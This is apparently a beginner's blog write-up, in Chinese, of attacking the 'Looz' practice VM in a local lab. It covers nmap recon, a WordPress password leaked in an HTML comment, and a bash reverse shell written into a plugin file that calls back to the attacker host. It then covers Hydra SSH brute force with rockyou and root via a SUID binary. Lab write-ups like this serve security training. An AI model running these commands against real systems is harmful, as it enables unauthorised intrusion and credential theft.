配置好网卡。kali和Looz可以连通。
VM中桥接模式连接到Vbox的Http-Only网卡。
Vbox中使用对应的Http-Only网卡。
写在前面:这不是教程,是新手练习的心路历程。
实战开始
基础扫描
arp-scan -l
arp-scan -l
发现本地网段存活主机,下面192.168.56.100为Vbox的网卡DHCP服务器的IP,101为靶机IP。
nmap 全面扫描
nmap 全面扫描主机或者针对性扫描,既然是本地测试那就都试试,增加nmap熟练度.
靶机开启端口服务有:ssh、web服务(nginx1.18)、3306 mysql 5.5.5、8081(apache 2.4.38),139和445是关闭状态。
逐点排查
访问80端口:
联想到mysql,是否可能存在SQL注入或者其他漏洞,所以找找接口,也可以扫描一下目录,再联想到nginx1.18,搜搜有什么漏洞。查看一下网页源码,发现一行注释:
<!-- -john don't forget to remove this comment, for now wp password is y0uC@n'tbr3akIT-->
wp password是什么?网上一搜,给出的联想是WordPress,先记录下y0uC@n'tbr3akIT
,那么我扫描一下CMS好了。
└─$ whatweb http://192.168.56.101/
http://192.168.56.101/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[192.168.56.101], JQuery, MetaGenerator[Nicepage 3.15.3, nicepage.com], Open-Graph-Protocol[website], Script[application/ld+json,text/javascript], Title[Home], nginx[1.18.0]
这里又出现了 MetaGenerator[Nicepage 3.15.3, nicepage.com],nicepage是一个建站工具,从页面源码中还看到了这个网页使用了wordpress主题。
目录扫描也没扫出东西来。
总之这里暂时没有弄出有用的东西来。
:::success
阶段总结:这里说明80端口的web是个套壳的,没有真的web服务。不过基本确定了8081端口应该是有基于WordPress的Web服务。
:::
访问8081端口
这里redirect到了80端口。根据nmap扫描到的提示,Do not follow redirect to http://192.168.56.101. 所以使用Bp拦截一下响应。
HTTP/1.1 301 Moved Permanently
Date: Thu, 13 Apr 2023 11:38:13 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.20
X-Redirect-By: WordPress
发现了8081端口的框架是 wordpress,使用php。
这里301响应,CTF中一般会尝试把GET方法改为POST,再次访问8081端口,瞧瞧发现了什么?
该页面有提示:This is your first post. Edit or delete it, then start writing. 什么意思?
进入浏览器,使用POST访问8081。kali火狐里面的hackbar有点不好用,多数时候url发送不出去。然后我找到了一个方法使用浏览器得到POST请求页面了。进入HTTP历史,找到那个POST请求,右键有一个Show response in browser。复制url,进入浏览器访问,成功。
在这个页面蓝色超链接,导向了wp.looz.com
这个网站,但没有解析记录,所以没法访问。不过现在已经明确8081端口的web服务是基于WordPress的。根据WordPress常见的登录目录,进行访问试一下:
http://192.168.56.101:8081/wp-login.php
问题又来了,不知道Username或者Email。基本可以确定80端口注释中获得wp password应该是用在这里的。
有查看了一下登录页面的源码,看到登录框对应代码中的action=http://wp.looz.com/wp-login.php,所以wp.looz.com应该就是8081端口的域名,所以添加一下DNS解析记录。
vim /etc/hosts
192.168.56.101 wp.looz.com
访问 http://wp.looz.com/wp-login.php,进入登录界面。
重整思路—发现用户名john
还是搜了一下他人的解答。关键的一点我没有发现,那就是用户名:john。我没有敏锐地去捕捉这个信息。
去使用john登录一下WordPress,登录成功:获取WP版本为5.7.2,但没有搜索相关漏洞的有效信息。
查看Users标签,得知 John为管理员,还有一个管理员 gandalf
获取管理员权限的Web后台,思路就是写入WebShell。可利用的点就是SQL注入、文件上传等。
根据Apache2.4.38可能存在的多后缀名解析漏洞,可以上传一个shell.php.pdf的WebShell。现在测一下:
在Media模块上传pdf后缀失败,jpg后缀失败。这里好像一句话木马会被检测出来,它上传文件限制了大小,一句话木马具有很明显的特征,不会免杀,所以这一步要么试试msf要么暂停。
又去看了一下别人的提示,添加插件,我这里添加新插件紧不出来,我看到Plugin Editor,点进去是一个akismet/akismet.php文件,我写进system(‘bash -c “bash -i >& /dev/tcp/192.168.56.102/9001 0>&1”’); 更新文件,更新成功。但这个文件处于未激活状态,并且找不到方法访问。
先到这,根据前辈的博客,这个8081是个容器。这一点从nmap扫描结果就能看出来,80端口是Nginx(Ubuntu),而8081是Apache2.4.38(Debian)。SSH也是UBUNTU,经验丰富的话应该能够判断出来。
SSH爆破
SSH爆破我只能拾人牙慧了。
老早就注意到SSH服务了,也搜集了两个漏洞,但是找不到利用机会。现在学习如何爆破SSH。
使用Hydra:其中 sshname为一个文件,写入了从Web后台获得的用户名,rockyou.txt为kali自带。
hydra -L sshname -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101 -F -V
扫了六千多条,得到gandalf密码:highschoolmusical
。
靶机信息收集、提权
- 登录 gandalf
SSH连接,下面是通过/etc/passwd查看用户信息,找到uid=1000的用户 alatar,找到一个user.txt,到解密得到密码 alatar。
gandalf@looz:~$ ls
gandalf@looz:~$ id
uid=1001(gandalf) gid=1001(gandalf) groups=1001(gandalf)
gandalf@looz:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
alatar:x:1000:1000:Alatar:/home/alatar:/bin/bash
gandalf:x:1001:1001:Gandalf,,,,The Grey:/home/gandalf:/bin/bash
gandalf@looz:~$ ls /home
alatar gandalf
gandalf@looz:~$ ls -a /home
. .. alatar gandalf
gandalf@looz:~$ ls -l /home/alatar/
total 12
drwxrwxr-x 2 alatar alatar 4096 Jun 7 2021 Private
-rw-rw-r-- 1 alatar alatar 33 Jun 7 2021 user.txt
drwxrwxr-x 4 alatar alatar 4096 Jun 7 2021 wordpress
gandalf@looz:~$ cat ../alatar/user.txt
9acf80de68fbb344573762e84cced6f3
gandalf@looz:~$ cd ../alatar/
同时找到了一个shell_testv1.0的文件,查看属性,其具有s权限。直接cat出其内容,不好阅读,应是编码的问题。使用strings命令读取shell_testv1.0的内容。但是看不懂其中的内容,这时候大胆一点,运行一下。
gandalf@looz:/home/alatar$ cd Private/
gandalf@looz:/home/alatar/Private$ ls -l
total 20
-rwsr-xr-x 1 root root 16848 Jun 7 2021 shell_testv1.0
gandalf@looz:~$ strings /home/alatar/Private/shell_testv1.0
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__stack_chk_fail
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
GLIBC_2.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
/bin/basH
[]A\A]A^A_
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
shell_testv1.0.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
运行 shell_testv1.0,×,拿到root了?
gandalf@looz:~$ /home/alatar/Private/shell_testv1.0
root@looz:~#
shell_testv1.0 应该是一个内核提权文件。以root的权限再次搜集靶机信息:
root@looz:~# cd /root
root@looz:/root# ls
root.txt rundocker.sh snap
root@looz:/root# cat root.txt
ab17850978e36aaf6a2b8808f1ded971 # 解密为:gandalf
## 原来hash是flag。
root@looz:/root# ls -al
total 52
drwx------ 5 root root 4096 Jun 7 2021 .
drwxr-xr-x 21 root root 4096 Jun 7 2021 ..
-rw------- 1 root root 498 Jun 7 2021 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Jun 7 2021 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 33 Jun 7 2021 root.txt
-rw-r--r-- 1 root root 50 Jun 7 2021 rundocker.sh
-rw-r--r-- 1 root root 66 Jun 7 2021 .selected_editor
drwxr-xr-x 3 root root 4096 Jun 6 2021 snap
drwx------ 2 root root 4096 Jun 6 2021 .ssh
-rw------- 1 root root 8128 Jun 7 2021 .viminfo
root@looz:/root# cat rundocker.sh
docker start wordpressdb
docker start wpcontainer
root@looz:/root# cat .bash_history
chown root shell_testv1.0.c
chgrp root shell_testv1.0.c
chmod +x shell_testv1.0.c
chmod u+s shell_testv1.0.c
ls
gcc -o shell_testv1.0 shell_testv1.0.c
apt install gcc
clear
gcc -o shell_testv1.0 shell_testv1.0.c
vim shell_testv1.0.c
gcc -o shell_testv1.0 shell_testv1.0.c
clear
ls -la
chmod +x shell_testv1.0
chmod u+a shell_testv1.0
chmod u+s shell_testv1.0
clear
ls -la
rm shell_testv1.0.c
clear
ls -la
exit
cd /root
vim rundocker.sh
crontab
crontab -e
exit
root@looz:/root# crontab -e
......
reboot /root/rundocker.sh
从这历史中可以看出来,先是更改了C语言代码的权限,然后下载gcc编译,编写一个运行docker wordpress web服务 shell,装进定时任务。这个shell_testv1.0像是一个后门,又像是简化提权的,不需要使用密码。
总结
这个靶机这次就到这了。这个靶机更像是一个黑客已经入侵了这台机器,给我们留下了后门。
我也从中学到些东西:
- 对WordPress更熟悉了一些,知道哪里可以上传,虽然不一定能成功上传WebShell,知道哪里可以改插件代码,哪里可以添加插件,这些插件中很可能就存在漏洞,比如 WP-upload-manager。
- get一句hydra爆破SSH的使用方法。
- 查看bash历史命令,看看之前的人做过什么,是个很有启发的思路,对于小白来说。
- 判断当前Linux环境是不是docker,
cat /proc/1/cgroup
的结果中含有docker字符,隐藏文件中有dockerenv,进程数少得可怜,无部分常用命令
一个不解:
- 关于shell_testv1.0文件提权,还不清楚用的什么原理,今天先挖个坑。
做题过程中的小插曲
- 登录alatar失败
gandalf@looz:su alatar
Password: # alatar
su: Authentication failure
# 使用原本的hash去登录也失败了:9acf80de68fbb344573762e84cced6f3
权限提升
登录 gandalf,却没能登录 alatar的情况,我们要提升权限,可以先查看S权限的命令,再确认sudo是否存在,/etc/sudoers 是否可修改,最后看看Linux内核版本有无可利用漏洞。
毕竟是靶场,我先修改了一波gandalf的密码:123.com
gandalf@looz:~$ passwd
Changing password for gandalf.
Current password:
New password: # 123.com
Retype new password:
passwd: password updated successfully
查找S权限命令
# 查找S权限命令
gandalf@looz:/home/alatar$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/at
/usr/bin/sudo
/usr/bin/fusermount
/home/alatar/Private/shell_testv1.0
/snap/snapd/10707/usr/lib/snapd/snap-confine
/snap/snapd/12057/usr/lib/snapd/snap-confine
主要注意到sudo、at、passwd,还有alatar用户下的 shell_testv1.0
.
/etc/sudoers 提权—失败
gandalf@looz:/home/alatar$ ls -l /etc/sudoers
-r--r----- 1 root root 755 Feb 3 2020 /etc/sudoers
利用S权限命令提权
漏洞信息搜集
去搜漏洞信息了。一个是Apache2.4.38,一个是Nginx1.18.0,还有就是Openssh8.2。首先看看Apache吧。
Apache 2.4.38:
apache-httpd_2.4.38_multiple-suffix-parsing-vulnerability,多后缀解析漏洞,只要一个文件的文件名中包含了.php 关键字(没必要是最后一个后缀),就会被识别成PHP 文件。要配合文件上传,或者已有文件。所以暂时没法利用。
Nginx 1.18.0 简单一搜,没有清晰的可利用的漏洞。
OpenSSH8.2:
- OpenSSH 命令注入漏洞(CVE-2020-15778)(高危)
OpenSSH 8.4p1及之前版本中的scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。 - OpenSSH 输入验证错误漏洞(CVE-2020-12062)(高危)
OpenSSH 8.2版本中存在安全漏洞,该漏洞源于在utimes系统调用失败时,scp客户端错误地向服务器发送了重复的响应。攻击者可通过在远程服务器上创建子目录利用该漏洞覆盖客户端下载目录中的任意文件。
参考
Looz练习:https://www.cnblogs.com/hirak0/p/16118654.html
如何判断Linux中的服务是不是Docker:https://www.cnblogs.com/rab3it/p/14760769.html)